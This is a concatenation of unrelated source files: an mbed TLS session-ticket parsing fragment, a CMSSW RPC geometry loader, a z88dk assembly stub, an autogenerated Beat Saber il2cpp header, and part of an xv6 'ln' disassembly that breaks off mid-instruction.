+ 2 + enc_len + 16 ) { ret = MBEDTLS_ERR_SSL_BAD_INPUT_DATA; goto cleanup; } /* Select key */ if( ( key = ssl_ticket_select_key( ctx, key_name ) ) == NULL ) { /* We can't know for sure but this is a likely option unless we're * under attack - this is only informative anyway */ ret = MBEDTLS_ERR_SSL_SESSION_TICKET_EXPIRED; goto cleanup; } /* Decrypt and authenticate */ if( ( ret = mbedtls_cipher_auth_decrypt( &key->ctx, iv, 12, key_name, 4 + 12 + 2, ticket, enc_len, ticket, &clear_len, tag, 16 ) ) != 0 ) { if( ret == MBEDTLS_ERR_CIPHER_AUTH_FAILED ) ret = MBEDTLS_ERR_SSL_INVALID_MAC; goto cleanup; } if( clear_len != enc_len ) { ret = MBEDTLS_ERR_SSL_INTERNAL_ERROR; goto cleanup; } /* Actually load session */ if( ( ret = ssl_load_session( session, ticket, clear_len ) ) != 0 ) goto cleanup; #if defined(MBEDTLS_HAVE_TIME) { /* Check for expiration */ mbedtls_time_t current_time = mbedtls_time( NULL ); if( current_time < session->start || (uint32_t)( current_time - session->start ) > ctx->ticket_lifetime ) { ret = MBEDTLS_ERR_SSL_SESSION_TICKET_EXPIRED; goto cleanup; } } #endif cleanup: #if defined(MBEDTLS_THREADING_C) if( mbedtls_mutex_unlock( &ctx->mutex ) != 0 ) return( MBEDTLS_ERR_THREADING_MUTEX_ERROR ); #endif return( ret ); } /* * Free context */ void mbedtls_ssl_ticket_free( mbedtls_ssl_ticket_context *ctx ) { mbedtls_cipher_free( &ctx->keys[0].ctx ); mbedtls_cipher_free( &ctx->keys[1].ctx ); #if defined(MBEDTLS_THREADING_C) mbedtls_mutex_free( &ctx->mutex ); #endif mbedtls_zeroize( ctx, sizeof( mbedtls_ssl_ticket_context ) ); } #endif /* MBEDTLS_SSL_TICKET_C */
#include "FWCore/Framework/interface/one/EDAnalyzer.h" #include "FWCore/ServiceRegistry/interface/Service.h" #include "FWCore/ParameterSet/interface/ParameterSet.h" #include "FWCore/Framework/interface/Event.h" #include "CondCore/DBOutputService/interface/PoolDBOutputService.h" #include "FWCore/Framework/interface/EventSetup.h" #include "FWCore/Framework/interface/ESTransientHandle.h" #include "FWCore/Framework/interface/ESHandle.h" #include "FWCore/Framework/interface/MakerMacros.h" #include "CondFormats/GeometryObjects/interface/RecoIdealGeometry.h" #include "Geometry/Records/interface/RPCRecoGeometryRcd.h" #include "Geometry/Records/interface/MuonGeometryRecord.h" #include "DetectorDescription/Core/interface/DDCompactView.h" #include "Geometry/Records/interface/MuonNumberingRecord.h" #include "Geometry/MuonNumbering/interface/MuonDDDConstants.h" #include "Geometry/RPCGeometryBuilder/src/RPCGeometryParsFromDD.h" class RPCRecoIdealDBLoader : public edm::one::EDAnalyzer<edm::one::WatchRuns> { public: RPCRecoIdealDBLoader( const edm::ParameterSet& ) {} void beginRun(edm::Run const& iEvent, edm::EventSetup const&) override; void analyze(edm::Event const& iEvent, edm::EventSetup const&) override {} void endRun(edm::Run const& iEvent, edm::EventSetup const&) override {} }; void RPCRecoIdealDBLoader::beginRun( const edm::Run&, edm::EventSetup const& es) { RecoIdealGeometry* rig = new RecoIdealGeometry; edm::Service<cond::service::PoolDBOutputService> mydbservice; if( !mydbservice.isAvailable() ){ edm::LogError("RPCRecoIdealDBLoader")<<"PoolDBOutputService unavailable"; return; } edm::ESTransientHandle<DDCompactView> pDD; edm::ESHandle<MuonDDDConstants> pMNDC; es.get<IdealGeometryRecord>().get( pDD ); es.get<MuonNumberingRecord>().get( pMNDC ); const DDCompactView& cpv = *pDD; RPCGeometryParsFromDD rpcpd; rpcpd.build( &cpv, *pMNDC, *rig ); if ( mydbservice->isNewTagRequest("RPCRecoGeometryRcd") ) { mydbservice->createNewIOV<RecoIdealGeometry>(rig , mydbservice->beginOfTime() , mydbservice->endOfTime() , "RPCRecoGeometryRcd"); } else { edm::LogError("RPCRecoIdealDBLoader")<<"RPCRecoGeometryRcd Tag is already present."; } } DEFINE_FWK_MODULE(RPCRecoIdealDBLoader);
; $Id: bit_close_ei.asm,v 1.1 2011/03/18 07:12:41 stefano Exp $ ; ; Enterprise 64/128 1 bit sound functions ; ; (Close sound) and restore interrupts ; ; Stefano Bodrato - 2011 ; XLIB bit_close_ei .bit_close_ei ei ret
// Autogenerated from CppHeaderCreator // Created by Sc2ad // ========================================================================= #pragma once // Begin includes #include "beatsaber-hook/shared/utils/typedefs.h" #include "beatsaber-hook/shared/utils/byref.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils-methods.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils-properties.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils-fields.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Begin forward declares // Forward declaring namespace: UnityEngine namespace UnityEngine { // Forward declaring type: Rigidbody class Rigidbody; // Forward declaring type: CapsuleCollider class CapsuleCollider; } // Completed forward declares // Type namespace: namespace GlobalNamespace { // Forward declaring type: OVRBoneCapsule class OVRBoneCapsule; } #include "beatsaber-hook/shared/utils/il2cpp-type-check.hpp" NEED_NO_BOX(::GlobalNamespace::OVRBoneCapsule); DEFINE_IL2CPP_ARG_TYPE(::GlobalNamespace::OVRBoneCapsule*, "", "OVRBoneCapsule"); // Type namespace: namespace GlobalNamespace { // Size: 0x28 #pragma pack(push, 1) // Autogenerated type: OVRBoneCapsule // [TokenAttribute] Offset: FFFFFFFF class OVRBoneCapsule : public ::Il2CppObject { public: #ifdef USE_CODEGEN_FIELDS public: #else #ifdef CODEGEN_FIELD_ACCESSIBILITY CODEGEN_FIELD_ACCESSIBILITY: #else protected: #endif #endif // private System.Int16 <BoneIndex>k__BackingField // Size: 0x2 // Offset: 0x10 int16_t BoneIndex; // Field size check static_assert(sizeof(int16_t) == 0x2); // Padding between fields: BoneIndex and: CapsuleRigidbody char __padding0[0x6] = {}; // private UnityEngine.Rigidbody <CapsuleRigidbody>k__BackingField // Size: 0x8 // Offset: 0x18 ::UnityEngine::Rigidbody* CapsuleRigidbody; // Field size check static_assert(sizeof(::UnityEngine::Rigidbody*) == 0x8); // private UnityEngine.CapsuleCollider <CapsuleCollider>k__BackingField // Size: 0x8 // Offset: 0x20 ::UnityEngine::CapsuleCollider* CapsuleCollider; // Field size check static_assert(sizeof(::UnityEngine::CapsuleCollider*) == 0x8); public: // Get instance field reference: private System.Int16 <BoneIndex>k__BackingField int16_t& dyn_$BoneIndex$k__BackingField(); // Get instance field reference: private UnityEngine.Rigidbody <CapsuleRigidbody>k__BackingField ::UnityEngine::Rigidbody*& dyn_$CapsuleRigidbody$k__BackingField(); // Get instance field reference: private UnityEngine.CapsuleCollider <CapsuleCollider>k__BackingField ::UnityEngine::CapsuleCollider*& dyn_$CapsuleCollider$k__BackingField(); // public System.Int16 get_BoneIndex() // Offset: 0x161A878 int16_t get_BoneIndex(); // public System.Void set_BoneIndex(System.Int16 value) // Offset: 0x161A880 void set_BoneIndex(int16_t value); // public UnityEngine.Rigidbody get_CapsuleRigidbody() // Offset: 0x161A888 ::UnityEngine::Rigidbody* get_CapsuleRigidbody(); // public System.Void set_CapsuleRigidbody(UnityEngine.Rigidbody value) // Offset: 0x161A890 void set_CapsuleRigidbody(::UnityEngine::Rigidbody* value); // public UnityEngine.CapsuleCollider get_CapsuleCollider() // Offset: 0x161A898 ::UnityEngine::CapsuleCollider* get_CapsuleCollider(); // public System.Void set_CapsuleCollider(UnityEngine.CapsuleCollider value) // Offset: 0x161A8A0 void set_CapsuleCollider(::UnityEngine::CapsuleCollider* value); // public System.Void .ctor(System.Int16 boneIndex, UnityEngine.Rigidbody capsuleRigidBody, UnityEngine.CapsuleCollider capsuleCollider) // Offset: 0x161A8B0 template<::il2cpp_utils::CreationType creationType = ::il2cpp_utils::CreationType::Temporary> static OVRBoneCapsule* New_ctor(int16_t boneIndex, ::UnityEngine::Rigidbody* capsuleRigidBody, ::UnityEngine::CapsuleCollider* capsuleCollider) { static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRBoneCapsule::.ctor"); return THROW_UNLESS((::il2cpp_utils::New<OVRBoneCapsule*, creationType>(boneIndex, capsuleRigidBody, capsuleCollider))); } // public System.Void .ctor() // Offset: 0x161A8A8 // Implemented from: System.Object // Base method: System.Void Object::.ctor() template<::il2cpp_utils::CreationType creationType = ::il2cpp_utils::CreationType::Temporary> static OVRBoneCapsule* New_ctor() { static auto ___internal__logger = ::Logger::get().WithContext("::GlobalNamespace::OVRBoneCapsule::.ctor"); return THROW_UNLESS((::il2cpp_utils::New<OVRBoneCapsule*, creationType>())); } }; // OVRBoneCapsule #pragma pack(pop) static check_size<sizeof(OVRBoneCapsule), 32 + sizeof(::UnityEngine::CapsuleCollider*)> __GlobalNamespace_OVRBoneCapsuleSizeCheck; static_assert(sizeof(OVRBoneCapsule) == 0x28); } #include "beatsaber-hook/shared/utils/il2cpp-utils-methods.hpp" // Writing MetadataGetter for method: GlobalNamespace::OVRBoneCapsule::get_BoneIndex // Il2CppName: get_BoneIndex template<> struct ::il2cpp_utils::il2cpp_type_check::MetadataGetter<static_cast<int16_t (GlobalNamespace::OVRBoneCapsule::*)()>(&GlobalNamespace::OVRBoneCapsule::get_BoneIndex)> { static const MethodInfo* get() { return ::il2cpp_utils::FindMethod(classof(GlobalNamespace::OVRBoneCapsule*), "get_BoneIndex", std::vector<Il2CppClass*>(), ::std::vector<const Il2CppType*>{}); } }; // Writing MetadataGetter for method: GlobalNamespace::OVRBoneCapsule::set_BoneIndex // Il2CppName: set_BoneIndex template<> struct ::il2cpp_utils::il2cpp_type_check::MetadataGetter<static_cast<void (GlobalNamespace::OVRBoneCapsule::*)(int16_t)>(&GlobalNamespace::OVRBoneCapsule::set_BoneIndex)> { static const MethodInfo* get() { static auto* value = &::il2cpp_utils::GetClassFromName("System", "Int16")->byval_arg; return ::il2cpp_utils::FindMethod(classof(GlobalNamespace::OVRBoneCapsule*), "set_BoneIndex", std::vector<Il2CppClass*>(), ::std::vector<const Il2CppType*>{value}); } }; // Writing MetadataGetter for method: GlobalNamespace::OVRBoneCapsule::get_CapsuleRigidbody // Il2CppName: get_CapsuleRigidbody template<> struct ::il2cpp_utils::il2cpp_type_check::MetadataGetter<static_cast<::UnityEngine::Rigidbody* (GlobalNamespace::OVRBoneCapsule::*)()>(&GlobalNamespace::OVRBoneCapsule::get_CapsuleRigidbody)> { static const MethodInfo* get() { return ::il2cpp_utils::FindMethod(classof(GlobalNamespace::OVRBoneCapsule*), "get_CapsuleRigidbody", std::vector<Il2CppClass*>(), ::std::vector<const Il2CppType*>{}); } }; // Writing MetadataGetter for method: GlobalNamespace::OVRBoneCapsule::set_CapsuleRigidbody // Il2CppName: set_CapsuleRigidbody template<> struct ::il2cpp_utils::il2cpp_type_check::MetadataGetter<static_cast<void (GlobalNamespace::OVRBoneCapsule::*)(::UnityEngine::Rigidbody*)>(&GlobalNamespace::OVRBoneCapsule::set_CapsuleRigidbody)> { static const MethodInfo* get() { static auto* value = &::il2cpp_utils::GetClassFromName("UnityEngine", "Rigidbody")->byval_arg; return ::il2cpp_utils::FindMethod(classof(GlobalNamespace::OVRBoneCapsule*), "set_CapsuleRigidbody", std::vector<Il2CppClass*>(), ::std::vector<const Il2CppType*>{value}); } }; // Writing MetadataGetter for method: GlobalNamespace::OVRBoneCapsule::get_CapsuleCollider // Il2CppName: get_CapsuleCollider template<> struct ::il2cpp_utils::il2cpp_type_check::MetadataGetter<static_cast<::UnityEngine::CapsuleCollider* (GlobalNamespace::OVRBoneCapsule::*)()>(&GlobalNamespace::OVRBoneCapsule::get_CapsuleCollider)> { static const MethodInfo* get() { return ::il2cpp_utils::FindMethod(classof(GlobalNamespace::OVRBoneCapsule*), "get_CapsuleCollider", std::vector<Il2CppClass*>(), ::std::vector<const Il2CppType*>{}); } }; // Writing MetadataGetter for method: GlobalNamespace::OVRBoneCapsule::set_CapsuleCollider // Il2CppName: set_CapsuleCollider template<> struct ::il2cpp_utils::il2cpp_type_check::MetadataGetter<static_cast<void (GlobalNamespace::OVRBoneCapsule::*)(::UnityEngine::CapsuleCollider*)>(&GlobalNamespace::OVRBoneCapsule::set_CapsuleCollider)> { static const MethodInfo* get() { static auto* value = &::il2cpp_utils::GetClassFromName("UnityEngine", "CapsuleCollider")->byval_arg; return ::il2cpp_utils::FindMethod(classof(GlobalNamespace::OVRBoneCapsule*), "set_CapsuleCollider", std::vector<Il2CppClass*>(), ::std::vector<const Il2CppType*>{value}); } }; // Writing MetadataGetter for method: GlobalNamespace::OVRBoneCapsule::New_ctor // Il2CppName: .ctor // Cannot get method pointer of value based method overload from template for constructor! // Try using FindMethod instead! // Writing MetadataGetter for method: GlobalNamespace::OVRBoneCapsule::New_ctor // Il2CppName: .ctor // Cannot get method pointer of value based method overload from template for constructor! // Try using FindMethod instead!
_ln: file format elf32-i386 Disassembly of section .text: 00001000 <main>: #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { 1000: f3 0f 1e fb endbr32 1004: 8d 4c 24 04 lea 0x4(%esp),%ecx 1008: 83 e4 f0 and $0xfffffff0,%esp 100b: ff 71 fc pushl -0x4(%ecx) if(argc != 3){ 100e: 83 39 03 cmpl $0x3,(%ecx) { 1011: 55 push %ebp 1012: 89 e5 mov %esp,%ebp 1014: 53 push %ebx 1015: 51 push %ecx 1016: 8b 59 04 mov 0x4(%ecx),%ebx if(argc != 3){ 1019: 74 13 je 102e <main+0x2e> printf(2, "Usage: ln old new\n"); 101b: 52 push %edx 101c: 52 push %edx 101d: 68 68 18 00 00 push $0x1868 1022: 6a 02 push $0x2 1024: e8 77 06 00 00 call 16a0 <printf> exit(); 1029: e8 df 04 00 00 call 150d <exit> } if(link(argv[1], argv[2]) < 0) 102e: 50 push %eax 102f: 50 push %eax 1030: ff 73 08 pushl 0x8(%ebx) 1033: ff 73 04 pushl 0x4(%ebx) 1036: e8 32 05 00 00 call 156d <link> 103b: 83 c4 10 add $0x10,%esp 103e: 85 c0 test %eax,%eax 1040: 78 05 js 1047 <main+0x47> printf(2, "link %s %s: failed\n", argv[1], argv[2]); exit(); 1042: e8 c6 04 00 00 call 150d <exit> printf(2, "link %s %s: failed\n", argv[1], argv[2]); 1047: ff 73 08 pushl 0x8(%ebx) 104a: ff 73 04 pushl 0x4(%ebx) 104d: 68 7b 18 00 00 push $0x187b 1052: 6a 02 push $0x2 1054: e8 47 06 00 00 call 16a0 <printf> 1059: 83 c4 10 add $0x10,%esp 105c: eb e4 jmp 1042 <main+0x42> 105e: 66 90 xchg %ax,%ax 00001060 <strcpy>: }; char* strcpy(char *s, const char *t) { 1060: f3 0f 1e fb endbr32 1064: 55 push %ebp char *os; os = s; while((*s++ = *t++) != 0) 1065: 31 c0 xor %eax,%eax { 1067: 89 e5 mov %esp,%ebp 1069: 53 push %ebx 106a: 8b 4d 08 mov 0x8(%ebp),%ecx 106d: 8b 5d 0c mov 0xc(%ebp),%ebx while((*s++ = *t++) != 0) 1070: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx 1074: 88 14 01 mov %dl,(%ecx,%eax,1) 1077: 83 c0 01 add $0x1,%eax 107a: 84 d2 test %dl,%dl 107c: 75 f2 jne 1070 <strcpy+0x10> ; return os; } 107e: 89 c8 mov %ecx,%eax 1080: 5b pop %ebx 1081: 5d pop %ebp 1082: c3 ret 1083: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 108a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00001090 <strcmp>: int strcmp(const char *p, const char *q) { 1090: f3 0f 1e fb endbr32 1094: 55 push %ebp 1095: 89 e5 mov %esp,%ebp 1097: 53 push %ebx 1098: 8b 4d 08 mov 0x8(%ebp),%ecx 109b: 8b 55 0c mov 0xc(%ebp),%edx while(*p && *p == *q) 109e: 0f b6 01 movzbl (%ecx),%eax 10a1: 0f b6 1a movzbl (%edx),%ebx 10a4: 84 c0 test %al,%al 10a6: 75 19 jne 10c1 <strcmp+0x31> 10a8: eb 26 jmp 10d0 <strcmp+0x40> 10aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 10b0: 0f b6 41 01 movzbl 0x1(%ecx),%eax p++, q++; 10b4: 83 c1 01 add $0x1,%ecx 10b7: 83 c2 01 add $0x1,%edx while(*p && *p == *q) 10ba: 0f b6 1a movzbl (%edx),%ebx 10bd: 84 c0 test %al,%al 10bf: 74 0f je 10d0 <strcmp+0x40> 10c1: 38 d8 cmp %bl,%al 10c3: 74 eb je 10b0 <strcmp+0x20> return (uchar)*p - (uchar)*q; 10c5: 29 d8 sub %ebx,%eax } 10c7: 5b pop %ebx 10c8: 5d pop %ebp 10c9: c3 ret 10ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 10d0: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; 10d2: 29 d8 sub %ebx,%eax } 10d4: 5b pop %ebx 10d5: 5d pop %ebp 10d6: c3 ret 10d7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 10de: 66 90 xchg %ax,%ax 000010e0 <strlen>: uint strlen(const char *s) { 10e0: f3 0f 1e fb endbr32 10e4: 55 push %ebp 10e5: 89 e5 mov %esp,%ebp 10e7: 8b 55 08 mov 0x8(%ebp),%edx int n; for(n = 0; s[n]; n++) 10ea: 80 3a 00 cmpb $0x0,(%edx) 10ed: 74 21 je 1110 <strlen+0x30> 10ef: 31 c0 xor %eax,%eax 10f1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 10f8: 83 c0 01 add $0x1,%eax 10fb: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1) 10ff: 89 c1 mov %eax,%ecx 1101: 75 f5 jne 10f8 <strlen+0x18> ; return n; } 1103: 89 c8 mov %ecx,%eax 1105: 5d pop %ebp 1106: c3 ret 1107: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 110e: 66 90 xchg %ax,%ax for(n = 0; s[n]; n++) 1110: 31 c9 xor %ecx,%ecx } 1112: 5d pop %ebp 1113: 89 c8 mov %ecx,%eax 1115: c3 ret 1116: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 111d: 8d 76 00 lea 0x0(%esi),%esi 00001120 <memset>: void* memset(void *dst, int c, uint n) { 1120: f3 0f 1e fb endbr32 1124: 55 push %ebp 1125: 89 e5 mov %esp,%ebp 1127: 57 push %edi 1128: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 112b: 8b 4d 10 mov 0x10(%ebp),%ecx 112e: 8b 45 0c mov 0xc(%ebp),%eax 1131: 89 d7 mov %edx,%edi 1133: fc cld 1134: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 1136: 89 d0 mov %edx,%eax 1138: 5f pop %edi 1139: 5d pop %ebp 113a: c3 ret 113b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 113f: 90 nop 00001140 <strchr>: char* strchr(const char *s, char c) { 1140: f3 0f 1e fb endbr32 1144: 55 push %ebp 1145: 89 e5 mov %esp,%ebp 1147: 8b 45 08 mov 0x8(%ebp),%eax 114a: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx for(; *s; s++) 114e: 0f b6 10 movzbl (%eax),%edx 1151: 84 d2 test %dl,%dl 1153: 75 16 jne 116b <strchr+0x2b> 1155: eb 21 jmp 1178 <strchr+0x38> 1157: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 115e: 66 90 xchg %ax,%ax 1160: 0f b6 50 01 movzbl 0x1(%eax),%edx 1164: 83 c0 01 add $0x1,%eax 1167: 84 d2 test %dl,%dl 1169: 74 0d je 1178 <strchr+0x38> if(*s == c) 116b: 38 d1 cmp %dl,%cl 116d: 75 f1 jne 1160 <strchr+0x20> return (char*)s; return 0; } 116f: 5d pop %ebp 1170: c3 ret 1171: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return 0; 1178: 31 c0 xor %eax,%eax } 117a: 5d pop %ebp 117b: c3 ret 117c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 00001180 <gets>: char* gets(char *buf, int max) { 1180: f3 0f 1e fb endbr32 1184: 55 push %ebp 1185: 89 e5 mov %esp,%ebp 1187: 57 push %edi 1188: 56 push %esi int i, cc; char c; for(i=0; i+1 < max; ){ 1189: 31 f6 xor %esi,%esi { 118b: 53 push %ebx 118c: 89 f3 mov %esi,%ebx 118e: 83 ec 1c sub $0x1c,%esp 1191: 8b 7d 08 mov 0x8(%ebp),%edi for(i=0; i+1 < max; ){ 1194: eb 33 jmp 11c9 <gets+0x49> 1196: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 119d: 8d 76 00 lea 0x0(%esi),%esi cc = read(0, &c, 1); 11a0: 83 ec 04 sub $0x4,%esp 11a3: 8d 45 e7 lea -0x19(%ebp),%eax 11a6: 6a 01 push $0x1 11a8: 50 push %eax 11a9: 6a 00 push $0x0 11ab: e8 75 03 00 00 call 1525 <read> if(cc < 1) 11b0: 83 c4 10 add $0x10,%esp 11b3: 85 c0 test %eax,%eax 11b5: 7e 1c jle 11d3 <gets+0x53> break; buf[i++] = c; 11b7: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 11bb: 83 c7 01 add $0x1,%edi 11be: 88 47 ff mov %al,-0x1(%edi) if(c == '\n' || c == '\r') 11c1: 3c 0a cmp $0xa,%al 11c3: 74 23 je 11e8 <gets+0x68> 11c5: 3c 0d cmp $0xd,%al 11c7: 74 1f je 11e8 <gets+0x68> for(i=0; i+1 < max; ){ 11c9: 83 c3 01 add $0x1,%ebx 11cc: 89 fe mov %edi,%esi 11ce: 3b 5d 0c cmp 0xc(%ebp),%ebx 11d1: 7c cd jl 11a0 <gets+0x20> 11d3: 89 f3 mov %esi,%ebx break; } buf[i] = '\0'; return buf; } 11d5: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 11d8: c6 03 00 movb $0x0,(%ebx) } 11db: 8d 65 f4 lea -0xc(%ebp),%esp 11de: 5b pop %ebx 11df: 5e pop %esi 11e0: 5f pop %edi 11e1: 5d pop %ebp 11e2: c3 ret 11e3: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 11e7: 90 nop 11e8: 8b 75 08 mov 0x8(%ebp),%esi 11eb: 8b 45 08 mov 0x8(%ebp),%eax 11ee: 01 de add %ebx,%esi 11f0: 89 f3 mov %esi,%ebx buf[i] = '\0'; 11f2: c6 03 00 movb $0x0,(%ebx) } 11f5: 8d 65 f4 lea -0xc(%ebp),%esp 11f8: 5b pop %ebx 11f9: 5e pop %esi 11fa: 5f pop %edi 11fb: 5d pop %ebp 11fc: c3 ret 11fd: 8d 76 00 lea 0x0(%esi),%esi 00001200 <stat>: int stat(const char *n, struct stat *st) { 1200: f3 0f 1e fb endbr32 1204: 55 push %ebp 1205: 89 e5 mov %esp,%ebp 1207: 56 push %esi 1208: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 1209: 83 ec 08 sub $0x8,%esp 120c: 6a 00 push $0x0 120e: ff 75 08 pushl 0x8(%ebp) 1211: e8 37 03 00 00 call 154d <open> if(fd < 0) 1216: 83 c4 10 add $0x10,%esp 1219: 85 c0 test %eax,%eax 121b: 78 2b js 1248 <stat+0x48> return -1; r = fstat(fd, st); 121d: 83 ec 08 sub $0x8,%esp 1220: ff 75 0c pushl 0xc(%ebp) 1223: 89 c3 mov %eax,%ebx 1225: 50 push %eax 1226: e8 3a 03 00 00 call 1565 <fstat> close(fd); 122b: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 122e: 89 c6 mov %eax,%esi close(fd); 1230: e8 00 03 00 00 call 1535 <close> return r; 1235: 83 c4 10 add $0x10,%esp } 1238: 8d 65 f8 lea -0x8(%ebp),%esp 123b: 89 f0 mov %esi,%eax 123d: 5b pop %ebx 123e: 5e pop %esi 123f: 5d pop %ebp 1240: c3 ret 1241: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; 1248: be ff ff ff ff mov $0xffffffff,%esi 124d: eb e9 jmp 1238 <stat+0x38> 124f: 90 nop 00001250 <atoi>: int atoi(const char *s) { 1250: f3 0f 1e fb endbr32 1254: 55 push %ebp 1255: 89 e5 mov %esp,%ebp 1257: 53 push %ebx 1258: 8b 55 08 mov 0x8(%ebp),%edx int n; n = 0; while('0' <= *s && *s <= '9') 125b: 0f be 02 movsbl (%edx),%eax 125e: 8d 48 d0 lea -0x30(%eax),%ecx 1261: 80 f9 09 cmp $0x9,%cl n = 0; 1264: b9 00 00 00 00 mov $0x0,%ecx while('0' <= *s && *s <= '9') 1269: 77 1a ja 1285 <atoi+0x35> 126b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 126f: 90 nop n = n*10 + *s++ - '0'; 1270: 83 c2 01 add $0x1,%edx 1273: 8d 0c 89 lea (%ecx,%ecx,4),%ecx 1276: 8d 4c 48 d0 lea -0x30(%eax,%ecx,2),%ecx while('0' <= *s && *s <= '9') 127a: 0f be 02 movsbl (%edx),%eax 127d: 8d 58 d0 lea -0x30(%eax),%ebx 1280: 80 fb 09 cmp $0x9,%bl 1283: 76 eb jbe 1270 <atoi+0x20> return n; } 1285: 89 c8 mov %ecx,%eax 1287: 5b pop %ebx 1288: 5d pop %ebp 1289: c3 ret 128a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00001290 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 1290: f3 0f 1e fb endbr32 1294: 55 push %ebp 1295: 89 e5 mov %esp,%ebp 1297: 57 push %edi 1298: 8b 45 10 mov 0x10(%ebp),%eax 129b: 8b 55 08 mov 0x8(%ebp),%edx 129e: 56 push %esi 129f: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 12a2: 85 c0 test %eax,%eax 12a4: 7e 0f jle 12b5 <memmove+0x25> 12a6: 01 d0 add %edx,%eax dst = vdst; 12a8: 89 d7 mov %edx,%edi 12aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi *dst++ = *src++; 12b0: a4 movsb %ds:(%esi),%es:(%edi) while(n-- > 0) 12b1: 39 f8 cmp %edi,%eax 12b3: 75 fb jne 12b0 <memmove+0x20> return vdst; } 12b5: 5e pop %esi 12b6: 89 d0 mov %edx,%eax 12b8: 5f pop %edi 12b9: 5d pop %ebp 12ba: c3 ret 12bb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 12bf: 90 nop 000012c0 <thread_join>: void* stack; stack =malloc(4096); //pgsize return clone(start_routine,arg1,arg2,stack); } int thread_join() { 12c0: f3 0f 1e fb endbr32 12c4: 55 push %ebp 12c5: 89 e5 mov %esp,%ebp 12c7: 83 ec 24 sub $0x24,%esp void * stackPtr; int x = join(&stackPtr); 12ca: 8d 45 f4 lea -0xc(%ebp),%eax 12cd: 50 push %eax 12ce: e8 0a 03 00 00 call 15dd <join> return x; } 12d3: c9 leave 12d4: c3 ret 12d5: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 12dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 000012e0 <lock_init>: void lock_init(struct lock_t *lk){ 12e0: f3 0f 1e fb endbr32 12e4: 55 push %ebp 12e5: 89 e5 mov %esp,%ebp lk->locked=0; //intialize as unnlocked 12e7: 8b 45 08 mov 0x8(%ebp),%eax 12ea: c7 00 00 00 00 00 movl $0x0,(%eax) } 12f0: 5d pop %ebp 12f1: c3 ret 12f2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 12f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00001300 <lock_acquire>: void lock_acquire(struct lock_t *lk){ 1300: f3 0f 1e fb endbr32 1304: 55 push %ebp xchg(volatile uint *addr, uint newval) { uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 1305: b9 01 00 00 00 mov $0x1,%ecx 130a: 89 e5 mov %esp,%ebp 130c: 8b 55 08 mov 0x8(%ebp),%edx 130f: 90 nop 1310: 89 c8 mov %ecx,%eax 1312: f0 87 02 lock xchg %eax,(%edx) while(xchg(&lk->locked,1) != 0); 1315: 85 c0 test %eax,%eax 1317: 75 f7 jne 1310 <lock_acquire+0x10> } 1319: 5d pop %ebp 131a: c3 ret 131b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 131f: 90 nop 00001320 <lock_release>: void lock_release(struct lock_t *lk){ 1320: f3 0f 1e fb endbr32 1324: 55 push %ebp 1325: 31 c0 xor %eax,%eax 1327: 89 e5 mov %esp,%ebp 1329: 8b 55 08 mov 0x8(%ebp),%edx 132c: f0 87 02 lock xchg %eax,(%edx) xchg(&lk->locked,0) ; } 132f: 5d pop %ebp 1330: c3 ret 1331: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1338: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 133f: 90 nop 00001340 <free>: static Header base; static Header *freep; void free(void *ap) { 1340: f3 0f 1e fb endbr32 1344: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 1345: a1 e4 1b 00 00 mov 0x1be4,%eax { 134a: 89 e5 mov %esp,%ebp 134c: 57 push %edi 134d: 56 push %esi 134e: 53 push %ebx 134f: 8b 5d 08 mov 0x8(%ebp),%ebx 1352: 8b 10 mov (%eax),%edx bp = (Header*)ap - 1; 1354: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 1357: 39 